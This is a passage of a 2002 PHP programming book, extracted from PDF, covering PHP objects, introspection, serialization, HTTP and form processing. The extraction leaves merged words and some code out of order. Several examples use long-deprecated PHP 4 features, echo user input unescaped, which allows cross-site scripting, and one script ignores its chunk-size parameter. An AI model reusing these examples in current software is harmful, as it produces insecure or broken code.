InheritanceTo inherit the properties and methods from another class, use the extends keywordin the class definition, followed by the name of the base class:

class Person { var $name, $address, $age;}

class Employee extends Person { var $position, $salary;}

The Employee class contains the $position and $salary properties, as well as the$name, $address, and $age properties inherited from the Person class.

If a derived class has a property or method with the same name as one in its parentclass, the property or method in the derived class takes precedence over, or overrides,the property or method in the parent class. Referencing the property returns thevalue of the property on the child, while referencing the method calls the method onthe child.

To access an overridden method, use the parent::method( ) notation:

parent::birthday(); // call parent class's birthday( ) method

A common mistake is to hardcode the name of the parent class into calls to overrid-den methods:

Creature::birthday( ); // when Creature is the parent class

This is a mistake because it distributes knowledge of the parent class’s name all overthe derived class. Using parent:: centralizes the knowledge of the parent class in theextends clause.

ConstructorsYou may also provide a list of arguments following the class name when instantiat-ing an object:

$person = new Person('Fred', 35);

,ch06.15830 Page 145 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (146)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

146 | Chapter 6: Objects

These arguments are passed to the class’s constructor, a special function that initial-izes the properties of the class.

A constructor is a function with the same name as the class in which it is defined.Here’s a constructor for the Person class:

class Person { function Person ($name, $age) { $this->name = $name; $this->age = $age; }}

PHP does not provide for an automatic chain of constructors; that is, if you instanti-ate an object of a derived class, only the constructor in the derived class is automati-cally called. For the constructor of the parent class to be called, the constructor inthe derived class must explicitly call the constructor. In this example, the Employeeclass constructor calls the Person constructor:

class Person { var $name, $address, $age;

function Person($name, $address, $age) { $this->name = $name; $this->address = $address; $this->age = $age; }}

class Employee extends Person { var $position, $salary;

function Employee($name, $address, $age, $position, $salary) { $this->Person($name, $address, $age); $this->position = $position; $this->salary = $salary; }}

ReferencesWhen you assign an object to another variable, you create a copy:

$fred = new Person;$copy = $fred;$fred->name("Fred");print $copy->name(); // does not print "Fred"

You now have two Person objects, $fred and $copy, with independent property val-ues. This is also the case when you assign the results of a call to a constructor, asshown here:

$fred = new Person;

,ch06.15830 Page 146 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (147)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Introspection | 147

The object created by the Person constructor is copied, and the copy is stored in$fred. This means that $this in the constructor and $fred actually refer to two differ-ent objects. If the constructor creates an alias to $this through a reference, it won’tcreate an alias to $fred. For example:

$people = array();class Person { function Person () { global $people; $people[] =& $this; }}$fred = new Person;$fred->name = "Fred";$barney =& new Person;$barney->name = "Barney";var_dump($people);array(2) { [0]=> &object(person)(0) { } [1]=> &object(person)(1) { ["name"]=> string(6) "Barney" }}

$fred is a copy of the object that the constructor stored in $people[0], while $barneyis an alias for the object that the constructor stored in $people[1]. When we changethe properties of $fred, we’re not changing the object that is in $people[0]. How-ever, when we change the properties of $barney, we are changing the object in$people[1].

To prevent copying on assignment, assign by reference:

$obj =& new Class;

This code makes $obj an alias for the new object, which was $this in the construc-tor. If the constructor stores a reference to $this, it keeps a reference to $obj.

The documentation for a class should say whether you need to use =& with its con-structor. In most cases, this isn’t necessary.

IntrospectionIntrospection is the ability of a program to examine an object’s characteristics, suchas its name, parent class (if any), properties, and methods. With introspection, youcan write code that operates on any class or object. You don’t need to know whichmethods or properties are defined when you write your code; instead, you can dis-cover that information at runtime, which makes it possible for you to write generic

,ch06.15830 Page 147 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (148)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

148 | Chapter 6: Objects

debuggers, serializers, profilers, etc. In this section, we look at the introspective func-tions provided by PHP.

Examining ClassesTo determine whether a class exists, use the class_exists( ) function, which takes ina string and returns a Boolean value. Alternately, you can use the get_declared_classes( ) function, which returns an array of defined classes and checks if the classname is in the returned array:

$yes_no = class_exists(classname);$classes = get_declared_classes( );

You can get the methods and properties that exist in a class (including those that areinherited from superclasses) using the get_class_methods( ) and get_class_vars( )functions. These functions take a class name and return an array:

$methods = get_class_methods(classname);$properties = get_class_vars(classname);

The class name can be a bare word, a quoted string, or a variable containing the classname:

$class = 'Person';$methods = get_class_methods($class);$methods = get_class_methods(Person); // same$methods = get_class_methods('Person'); // same

The array returned by get_class_methods( ) is a simple list of method names. Theassociative array returned by get_class_vars( ) maps property names to values andalso includes inherited properties. One quirk of get_class_vars( ) is that it returnsonly properties that have default values; there’s no way to discover uninitiailizedproperties.

Use get_parent_class( ) to find a class’s parent class:

$superclass = get_parent_class(classname);

Example 6-1 lists the display_classes( ) function, which displays all currentlydeclared classes and the methods and properties for each.

Example 6-1. Displaying all declared classes

function display_classes ( ) { $classes = get_declared_classes( ); foreach($classes as $class) { echo "Showing information about $class<br />";

echo "$class methods:<br />"; $methods = get_class_methods($class); if(!count($methods)) { echo "<i>None</i><br />"; }

,ch06.15830 Page 148 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (149)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Introspection | 149

Figure 6-1 shows the output of the display_classes( ) function.

Examining an ObjectTo get the class to which an object belongs, first make sure it is an object using theis_object( ) function, then get the class with the get_class( ) function:

$yes_no = is_object(var);$classname = get_class(object);

Before calling a method on an object, you can ensure that it exists using the method_exists( ) function:

$yes_no = method_exists(object, method);

Calling an undefined method triggers a runtime exception.

Just as get_class_vars( ) returns an array of properties for a class, get_object_vars( )returns an array of properties set in an object:

$array = get_object_vars(object);

And just as get_class_vars( ) returns only those properties with default values, get_object_vars( ) returns only those properties that are set:

class Person { var $name; var $age;}$fred = new Person;$fred->name = 'Fred';$props = get_object_vars($fred); // $props is array('name' => 'Fred');

else { foreach($methods as $method) { echo "<b>$method</b>( )<br />"; } }

echo "$class properties:<br />"; $properties = get_class_vars($class); if(!count($properties)) { echo "<i>None</i><br />"; } else { foreach(array_keys($properties) as $property) { echo "<b>\$$property</b><br />"; } }

echo "<hr />"; }}

Example 6-1. Displaying all declared classes (continued)

,ch06.15830 Page 149 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (150)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

150 | Chapter 6: Objects

The get_parent_class( ) function actually accepts either an object or a class name. Itreturns the name of the parent class, or FALSE if there is no parent class:

class A {}class B extends A {}$obj = new B;echo get_parent_class($obj); // prints Aecho get_parent_class(B); // prints A

Sample Introspection ProgramExample 6-2 shows a collection of functions that display a reference page of informa-tion about an object’s properties, methods, and inheritance tree.

Figure 6-1. Output of display_classes( )

,ch06.15830 Page 150 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (151)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Introspection | 151

Example 6-2. Object introspection functions

// return an array of callable methods (include inherited methods)function get_methods($object) { $methods = get_class_methods(get_class($object));

if(get_parent_class($object)) { $parent_methods = get_class_methods(get_parent_class($object)); $methods = array_diff($methods, $parent_methods); }

return $methods;}

// return an array of inherited methodsfunction get_inherited_methods($object) { $methods = get_class_methods(get_class($object));

if(get_parent_class($object)) { $parent_methods = get_class_methods(get_parent_class($object)); $methods = array_intersect($methods, $parent_methods); }

return $methods;}

// return an array of superclassesfunction get_lineage($object) { if(get_parent_class($object)) { $parent = get_parent_class($object); $parent_object = new $parent;

$lineage = get_lineage($parent_object); $lineage[] = get_class($object); } else { $lineage = array(get_class($object)); }

return $lineage;}

// return an array of subclassesfunction get_child_classes($object) { $classes = get_declared_classes( );

$children = array( ); foreach($classes as $class) { if (substr($class, 0, 2) == '_ _') { continue; } $child = new $class; if(get_parent_class($child) == get_class($object)) {

,ch06.15830 Page 151 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (152)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

152 | Chapter 6: Objects

$children[] = $class; } }

return $children;}

// display information on an objectfunction print_object_info($object) { $class = get_class($object); echo '<h2>Class</h2>'; echo "<p>$class</p>";

echo '<h2>Inheritance</h2>';

echo '<h3>Parents</h3>'; $lineage = get_lineage($object); array_pop($lineage); echo count($lineage) ? ('<p>' . join(' -&gt; ', $lineage) . '</p>') : '<i>None</i>';

echo '<h3>Children</h3>'; $children = get_child_classes($object); echo '<p>' . (count($children) ? join(', ', $children) : '<i>None</i>') . '</p>';

echo '<h2>Methods</h2>'; $methods = get_class_methods($class); $object_methods = get_methods($object); if(!count($methods)) { echo "<i>None</i><br />"; } else { echo '<p>Inherited methods are in <i>italics</i>.</p>'; foreach($methods as $method) { echo in_array($method, $object_methods) ? "<b>$method</b>( );<br />" : "<i>$method</i>( );<br />"; } }

echo '<h2>Properties</h2>'; $properties = get_class_vars($class); if(!count($properties)) { echo "<i>None</i><br />"; } else { foreach(array_keys($properties) as $property) { echo "<b>\$$property</b> = " . $object->$property . '<br />'; } }

echo '<hr />';}

Example 6-2. Object introspection functions (continued)

,ch06.15830 Page 152 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (153)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Serialization | 153

Here are some sample classes and objects that exercise the introspection functionsfrom Example 6-2:

class A { var $foo = 'foo'; var $bar = 'bar'; var $baz = 17.0;

function first_function( ) { } function second_function( ) { }};

class B extends A { var $quux = false;

function third_function( ) { }};

class C extends B {};

$a = new A;$a->foo = 'sylvie';$a->bar = 23;

$b = new B;$b->foo = 'bruno';$b->quux = true;

$c = new C;

print_object_info($a);print_object_info($b);print_object_info($c);

Figure 6-2 shows the output of this code.

SerializationSerializing an object means converting it to a bytestream representation that can bestored in a file. This is useful for persistent data; for example, PHP sessions automati-cally save and restore objects. Serialization in PHP is mostly automatic—it requires lit-tle extra work from you, beyond calling the serialize( ) and unserialize( ) functions:

$encoded = serialize(something);$something = unserialize(encoded);

Serialization is most commonly used with PHP’s sessions, which handle the serializa-tion for you. All you need to do is tell PHP which variables to keep track of, andthey’re automatically preserved between visits to pages on your site. However, ses-sions are not the only use of serialization—if you want to implement your own form ofpersistent objects, the serialize( ) and unserialize( ) functions are a natural choice.

,ch06.15830 Page 153 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (154)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

154 | Chapter 6: Objects

An object’s class must be defined before unserialization can occur. Attempting tounserialize an object whose class is not yet defined puts the object into stdClass,which renders it almost useless. One practical consequence of this is that if you usePHP sessions to automatically serialize and unserialize objects, you must include thefile containing the object’s class definition in every page on your site. For example,your pages might start like this:

<?php include('object_definitions.inc'); // load object definitions session_start( ); // load persistent variables?><html>...

Figure 6-2. Object introspection output

,ch06.15830 Page 154 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (155)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Serialization | 155

PHP has two hooks for objects during the serialization and unserialization process:_ _sleep( ) and _ _wakeup( ). These methods are used to notify objects that they’rebeing serialized or unserialized. Objects can be serialized if they do not have thesemethods; however, they won’t be notified about the process.

The _ _sleep( ) method is called on an object just before serialization; it can performany cleanup necessary to preserve the object’s state, such as closing database connec-tions, writing out unsaved persistent data, and so on. It should return an array con-taining the names of the data members that need be written into the bytestream. Ifyou return an empty array, no data is written.

Conversely, the _ _wakeup( ) method is called on an object immediately after anobject is created from a bytestream. The method can take any action it requires, suchas reopening database connections and other initialization tasks.

Example 6-3 is an object class, Log, which provides two useful methods: write( ) toappend a message to the logfile, and read( ) to fetch the current contents of the log-file. It uses _ _wakeup( ) to reopen the logfile and _ _sleep( ) to close the logfile.

Example 6-3. The Log.inc file

<?php class Log { var $filename; var $fp;

function Log($filename) { $this->filename = $filename; $this->open( ); }

function open( ) { $this->fp = fopen($this->filename, "a") or die("Can't open {$this->filename}"); }

function write($note) { fwrite($this->fp, "$note\n"); }

function read( ) { return join('', file($this->filename)); }

function _ _wakeup( ) { $this->open( ); }

function _ _sleep( ) { // write information to the account file

,ch06.15830 Page 155 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (156)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

156 | Chapter 6: Objects

Store the Log class definition in a file called Log.inc. The HTML page in Example 6-4uses the Log class and PHP sessions to create a persistent log variable, $l.

The output when this page is viewed is shown in Figure 6-3.

fclose($this->fp); return array('filename'); } }?>

Example 6-4. front.php

<?php include_once('Log.inc'); session_start( );?>

<html><head><title>Front Page</title></head><body>

<?php $now = strftime("%c");

if (!session_is_registered('l')) { $l = new Log("/tmp/persistent_log"); session_register('l'); $l->write("Created $now"); echo("Created session and persistent log object.<p>"); }

$l->write("Viewed first page $now"); echo "The log contains:<p>"; echo nl2br($l->read( ));?>

<a href="next.php">Move to the next page</a>

</body></html>

Figure 6-3. The front page

Example 6-3. The Log.inc file (continued)

,ch06.15830 Page 156 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (157)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Serialization | 157

Example 6-5 shows the file next.php, an HTML page. Following the link from thefront page to this page triggers the loading of the persistent object $l. The _ _wakeup( )call reopens the logfile so that the object is ready to be used.

Figure 6-4 shows the output of next.php.

Example 6-5. next.php

<?php include_once('Log.inc'); session_start( );?>

<html><head><title>Next Page</title></head><body>

<?php $now = strftime("%c"); $l->write("Viewed page 2 at $now");

echo "The log contains:<p>"; echo nl2br($l->read( ));?>

</body></html>

Figure 6-4. The next page

,ch06.15830 Page 157 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (158)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

158

Chapter 7CHAPTER 7

Web Techniques

PHP was designed as a web scripting language and, although it is possible to use it inpurely command-line and GUI scripts, the Web accounts for the vast majority ofPHP uses. A dynamic web site may have forms, sessions, and sometimes redirection,and this chapter explains how to implement those things in PHP. You’ll learn howPHP provides access to form parameters and uploaded files, how to send cookies andredirect the browser, how to use PHP sessions, and more.

HTTP BasicsThe web runs on HTTP, the HyperText Transfer Protocol. This protocol governshow web browsers request files from web servers and how the servers send the filesback. To understand the various techniques we’ll show you in this chapter, you needto have a basic understanding of HTTP. For a more thorough discussion of HTTP,see the HTTP Pocket Reference, by Clinton Wong (O’Reilly).

When a web browser requests a web page, it sends an HTTP request message to aweb server. The request message always includes some header information, and itsometimes also includes a body. The web server responds with a reply message,which always includes header information and usually contains a body. The first lineof an HTTP request looks like this:

GET /index.html HTTP/1.1

This line specifies an HTTP command, called a method, followed by the address of adocument and the version of the HTTP protocol being used. In this case, the requestis using the GET method to ask for the index.html document using HTTP 1.1. Afterthis initial line, the request can contain optional header information that gives theserver additional data about the request. For example:

User-Agent: Mozilla/5.0 (Windows 2000; U) Opera 6.0 [en]Accept: image/gif, image/jpeg, text/*, */*

The User-Agent header provides information about the web browser, while theAccept header specifies the MIME types that the browser accepts. After any headers,

,ch07.15968 Page 158 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (159)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Variables | 159

the request contains a blank line, to indicate the end of the header section. Therequest can also contain additional data, if that is appropriate for the method beingused (e.g., with the POST method, as we’ll discuss shortly). If the request doesn’tcontain any data, it ends with a blank line.

The web server receives the request, processes it, and sends a response. The first lineof an HTTP response looks like this:

HTTP/1.1 200 OK

This line specifies the protocol version, a status code, and a description of that code.In this case, the status code is “200”, meaning that the request was successful (hencethe description “OK”). After the status line, the response contains headers that givethe client additional information about the response. For example:

Date: Sat, 26 Jan 2002 20:25:12 GMTServer: Apache 1.3.22 (Unix) mod_perl/1.26 PHP/4.1.0Content-Type: text/htmlContent-Length: 141

The Server header provides information about the web server software, while theContent-Type header specifies the MIME type of the data included in the response.After the headers, the response contains a blank line, followed by the requested data,if the request was successful.

The two most common HTTP methods are GET and POST. The GET method isdesigned for retrieving information, such as a document, an image, or the results of adatabase query, from the server. The POST method is meant for posting information,such as a credit-card number or information that is to be stored in a database, to theserver. The GET method is what a web browser uses when the user types in a URL orclicks on a link. When the user submits a form, either the GET or POST method canbe used, as specified by the method attribute of the form tag. We’ll discuss the GETand POST methods in more detail later, in the “Processing Forms” section.

VariablesServer configuration and request information—including form parameters andcookies—are accessible in three different ways from your PHP scripts, as describedin this section. Collectively, this information is referred to as EGPCS (environment,GET, POST, cookies, and server).

If the register_globals option in php.ini is enabled, PHP creates a separate globalvariable for every form parameter, every piece of request information, and everyserver configuration value. This functionality is convenient but dangerous, as it letsthe browser provide initial values for any of the variables in your program. The (neg-ative) effects this can have on your program’s security are explained in Chapter 12.

Regardless of the setting of register_globals, PHP creates six global arrays that con-tain the EGPCS information.

,ch07.15968 Page 159 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (160)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

160 | Chapter 7: Web Techniques

The global arrays are:

$HTTP_COOKIE_VARSContains any cookie values passed as part of the request, where the keys of thearray are the names of the cookies

$HTTP_GET_VARSContains any parameters that are part of a GET request, where the keys of thearray are the names of the form parameters

$HTTP_POST_VARSContains any parameters that are part of a POST request, where the keys of thearray are the names of the form parameters

$HTTP_POST_FILESContains information about any uploaded files

$HTTP_SERVER_VARSContains useful information about the web server, as described in the next section

$HTTP_ENV_VARSContains the values of any environment variables, where the keys of the array arethe names of the environment variables

Because names like $HTTP_GET_VARS are long and awkward to use, PHP providesshorter aliases: $_COOKIE, $_GET, $_POST, $_FILES, $_SERVER, and $_ENV. These vari-ables are not only global, but also visible from within function definitions, unlike theirlonger counterparts. These short variables are the recommended way to access EGPCSvalues. The $_REQUEST array is also created by PHP if the register_globals option ison; however, there is no corresponding $HTTP_REQUEST_VARS array. The $_REQUESTarray contains the elements of the $_GET, $_POST, and $_COOKIE arrays.

PHP also creates a variable called $PHP_SELF, which holds the name of the currentscript, relative to the document root (e.g., /store/cart.php). This value is also accessi-ble as $_SERVER['PHP_SELF']. This variable is useful when creating self-referencingscripts, as we’ll see later.

Server InformationThe $_SERVER array contains a lot of useful information from the web server. Much ofthis information comes from the environment variables required in the CGI specifica-tion (http://hoohoo.ncsa.uiuc.edu/cgi/env.html).

Here is a complete list of the entries in $_SERVER that come from CGI:

SERVER_SOFTWAREA string that identifies the server (e.g., “Apache/1.3.22 (Unix) mod_perl/1.26PHP/4.1.0”).

,ch07.15968 Page 160 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (161)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Server Information | 161

SERVER_NAMEThe hostname, DNS alias, or IP address for self-referencing URLs (e.g., “www.example.com”).

GATEWAY_INTERFACEThe version of the CGI standard being followed (e.g., “CGI/1.1”).

SERVER_PROTOCOLThe name and revision of the request protocol (e.g., “HTTP/1.1”).

SERVER_PORTThe server port number to which the request was sent (e.g., “80”).

REQUEST_METHODThe method the client used to fetch the document (e.g., “GET”).

PATH_INFOExtra path elements given by the client (e.g., “/list/users”).

PATH_TRANSLATEDThe value of PATH_INFO, translated by the server into a filename (e.g., “/home/httpd/htdocs/list/users”).

SCRIPT_NAMEThe URL path to the current page, which is useful for self-referencing scripts (e.g.,“/~me/menu.php”).

QUERY_STRINGEverything after the ? in the URL (e.g., “name=Fred+age=35”).

REMOTE_HOSTThe hostname of the machine that requested this page (e.g., “dialup-192-168-0-1.example.com”). If there’s no DNS for the machine, this is blank and REMOTE_ADDR is the only information given.

REMOTE_ADDRA string containing the IP address of the machine that requested this page (e.g.,“192.168.0.250”).

AUTH_TYPEIf the page is password-protected, this is the authentication method used to pro-tect the page (e.g., “basic”).

REMOTE_USERIf the page is password-protected, this is the username with which the clientauthenticated (e.g., “fred”). Note that there’s no way to find out what passwordwas used.

REMOTE_IDENTIf the server is configured to use identd (RFC 931) identification checks, this isthe username fetched from the host that made the web request (e.g., “barney”).Do not use this string for authentication purposes, as it is easily spoofed.

,ch07.15968 Page 161 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (162)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

162 | Chapter 7: Web Techniques

CONTENT_TYPEThe content type of the information attached to queries such as PUT and POST(e.g., “x-url-encoded”).

CONTENT_LENGTHThe length of the information attached to queries such as PUT and POST (e.g.,3952).

The Apache server also creates entries in the $_SERVER array for each HTTP header inthe request. For each key, the header name is converted to uppercase, hyphens (-)are turned into underscores (_), and the string "HTTP_" is prepended. For example,the entry for the User-Agent header has the key "HTTP_USER_AGENT". The two mostcommon and useful headers are:

HTTP_USER_AGENTThe string the browser used to identify itself (e.g., “Mozilla/5.0 (Windows 2000;U) Opera 6.0 [en]”)

HTTP_REFERERThe page the browser said it came from to get to the current page (e.g., “http://www.example.com/last_page.html”)

Processing FormsIt’s easy to process forms with PHP, as the form parameters are available in the $_GETand $_POST arrays. There are many tricks and techniques for working with forms,though, which are described in this section.

MethodsAs we already discussed, there are two HTTP methods that a client can use to passform data to the server: GET and POST. The method that a particular form uses isspecified with the method attribute to the form tag. In theory methods are case-insensitive in the HTML, but in practice some broken browsers require the methodname to be in all uppercase.

A GET request encodes the form parameters in the URL, in what is called a querystring:

/path/to/chunkify.php?word=despicable&length=3

A POST request passes the form parameters in the body of the HTTP request, leav-ing the URL untouched.

The most visible difference between GET and POST is the URL line. Because all of aform’s parameters are encoded in the URL with a GET request, users can bookmarkGET queries. They cannot do this with POST requests, however.

,ch07.15968 Page 162 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (163)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 163

The biggest difference between GET and POST requests, however, is far more sub-tle. The HTTP specification says that GET requests are idempotent—that is, oneGET request for a particular URL, including form parameters, is the same as two ormore requests for that URL. Thus, web browsers can cache the response pages forGET requests, because the response page doesn’t change regardless of how manytimes the page is loaded. Because of idempotence, GET requests should be used onlyfor queries such as splitting a word into smaller chunks or multiplying numbers,where the response page is never going to change.

POST requests are not idempotent. This means that they cannot be cached, and theserver is recontacted every time the page is displayed. You’ve probably seen yourweb browser prompt you with “Repost form data?” before displaying or reloadingcertain pages. This makes POST requests the appropriate choice for queries whoseresponse pages may change over time—for example, displaying the contents of ashopping cart or the current messages in a bulletin board.

That said, idempotence is often ignored in the real world. Browser caches are gener-ally so poorly implemented, and the Reload button is so easy to hit, that program-mers tend to use GET and POST simply based on whether they want the queryparameters shown in the URL or not. What you need to remember is that GETrequests should not be used for any actions that cause a change in the server, likeplacing an order or updating a database.

The type of method that was used to request a PHP page is available through $_SERVER['REQUEST_METHOD']. For example:

if ($_SERVER['REQUEST_METHOD'] == 'GET') { // handle a GET request} else { die("You may only GET this page.");}

ParametersUse the $_POST, $_GET, and $_FILES arrays to access form parameters from your PHPcode. The keys are the parameter names, and the values are the values of thoseparameters. Because periods are legal in HTML field names, but not in PHP variablenames, periods in field names are converted to underscores (_) in the array.

Example 7-1 shows an HTML form that chunkifies a string supplied by the user. Theform contains two fields: one for the string (parameter name "word") and one for thesize of chunks to produce (parameter name "number").

Example 7-1. The chunkify form (chunkify.html)

<html><head><title>Chunkify Form</title></head>

,ch07.15968 Page 163 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (164)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

164 | Chapter 7: Web Techniques

Example 7-2 lists the PHP script, chunkify.php, to which the form in Example 7-1 sub-mits. The script copies the parameter values into variables and uses them. Althoughthe register_globals option in php.ini would automatically create variables from theparameter values, we don’t use it because it complicates writing secure PHP programs.

Figure 7-1 shows the both the chunkify form and the resulting output.

Automatic Quoting of ParametersPHP ships with the magic_quotes_gpc option enabled in php.ini. This option instructsPHP to automatically call addslashes( ) on all cookie data and GET and POSTparameters. This makes it easy to use form parameters in database queries, as we’llsee in Chapter 8, but can cause trouble with form parameters not used in databasequeries as all single quotes, double quotes, backslashes, and NUL-bytes are escapedwith backslash characters.

<body><form action="chunkify.php" method="POST">Enter a word: <input type="text" name="word" /><br />How long should the chunks be?<input type="text" name="number" /><br /><input type="submit" value="Chunkify!"></form></body></html>

Example 7-2. The chunkify script (chunkify.php)

<html><head><title>Chunked Word</title></head><body>

<?php $word = $_POST['word']; $number = $_POST['number'];

$chunks = ceil(strlen($word)/$number);

echo "The $number-letter chunks of '$word' are:<br />\n";

for ($i=0; $i < $chunks; $i++) { $chunk = substr($word, $i*3, 3); printf("%d: %s<br />\n", $i+1, $chunk); }?>

</body></html>

Example 7-1. The chunkify form (chunkify.html) (continued)

,ch07.15968 Page 164 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (165)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 165

For instance, if you enter the word “O’Reilly” in the form in Figure 7-1 and hit theChunkify button, you’ll see that the word that’s actually chunked is “O\’Reilly”.That’s magic_quotes_gpc at work.

To work with the strings as typed by the user, you can either disable magic_quotes_gpc in php.ini or use the stripslashes( ) function on the values in $_GET, $_POST, and$_COOKIES. The correct way to work with a string is as follows:

$value = ini_get('magic_quotes_gpc') ? stripslashes($_GET['word']) : $_GET['word'];

If you plan to work with lots of string values, it’s wise to define a function to handlethis for you:

function raw_param ($name) { return ini_get('magic_quotes_gpc') ? stripslashes($_GET[$name]) : $_GET[$name];}

You call the function like this:

$value = raw_param('word');

For the remaining examples in this chapter, we’ll assume that you have magic_quotes_gpc disabled in php.ini. If you don’t, you’ll need to change the examples tocall stripslashes( ) on all the parameters.

Self-Processing PagesOne PHP page can be used to both generate a form and process it. If the pageshown in Example 7-3 is requested with the GET method, it prints a form thataccepts a Fahrenheit temperature. If called with the POST method, however, thepage calculates and displays the corresponding Celsius temperature.

Figure 7-1. The chunkify form and its output

,ch07.15968 Page 165 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (166)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

166 | Chapter 7: Web Techniques

Figure 7-2 shows the temperature-conversion page and the resulting output.

Another way for a script to decide whether to display a form or process it is to seewhether or not one of the parameters has been supplied. This lets you write a self-processing page that uses the GET method to submit values. Example 7-4 shows anew version of the temperature-conversion page that submits parameters using aGET request. This page uses the presence or absence of parameters to determinewhat to do.

Example 7-3. A self-processing temperature-conversion page (temp.php)

<html><head><title>Temperature Conversion</title></head><body>

<?php if ($_SERVER['REQUEST_METHOD'] == 'GET') {?>

<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">Fahrenheit temperature:<input type="text" name="fahrenheit" /> <br /><input type="submit" name="Convert to Celsius!" /></form>

<?php } elseif ($_SERVER['REQUEST_METHOD'] == 'POST') { $fahr = $_POST['fahrenheit']; $celsius = ($fahr - 32) * 5/9; printf("%.2fF is %.2fC", $fahr, $celsius); } else { die("This script only works with GET and POST requests."); }?>

</body></html>

Figure 7-2. The temperature-conversion page and its output

,ch07.15968 Page 166 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (167)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 167

In Example 7-4, we copy the form parameter value into $fahr. If we weren’t giventhat parameter, $fahr contains NULL, so we can use is_null( ) to test whether weshould display the form or process the form data.

Sticky FormsMany web sites use a technique known as sticky forms, in which the results of aquery are accompanied by a search form whose default values are those of the previ-ous query. For instance, if you search Google (http://www.google.com) for “Program-ming PHP”, the top of the results page contains another search box, which alreadycontains “Programming PHP”. To refine your search to “Programming PHP fromO’Reilly”, you can simply add the extra keywords.

This sticky behavior is easy to implement. Example 7-5 shows our temperature-conversion script from Example 7-4, with the form made sticky. The basic techniqueis to use the submitted form value as the default value when creating the HTML field.

Example 7-4. Temperature conversion using the GET method

<html><head><title>Temperature Conversion</title></head><body>

<?php $fahr = $_GET['fahrenheit']; if (is_null($fahr)) {?>

<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="GET">Fahrenheit temperature:<input type="text" name="fahrenheit" /> <br /><input type="submit" name="Convert to Celsius!" /></form>

<?php } else { $celsius = ($fahr - 32) * 5/9; printf("%.2fF is %.2fC", $fahr, $celsius); }?>

</body></html>

Example 7-5. Temperature conversion with a sticky form

<html><head><title>Temperature Conversion</title></head><body>

,ch07.15968 Page 167 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (168)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

168 | Chapter 7: Web Techniques

Multivalued ParametersHTML selection lists, created with the select tag, can allow multiple selections. Toensure that PHP recognizes the multiple values that the browser passes to a form-processing script, you need to make the name of the field in the HTML form endwith []. For example:

<select name="languages[]"> <input name="c">C</input> <input name="c++">C++</input> <input name="php">PHP</input> <input name="perl">Perl</input></select>

Now, when the user submits the form, $_GET['languages'] contains an array insteadof a simple string. This array contains the values that were selected by the user.

Example 7-6 illustrates multiple selection. The form provides the user with a set ofpersonality attributes. When the user submits the form, he gets a (not very interest-ing) description of his personality.

<?php $fahr = $_GET['fahrenheit'];?>

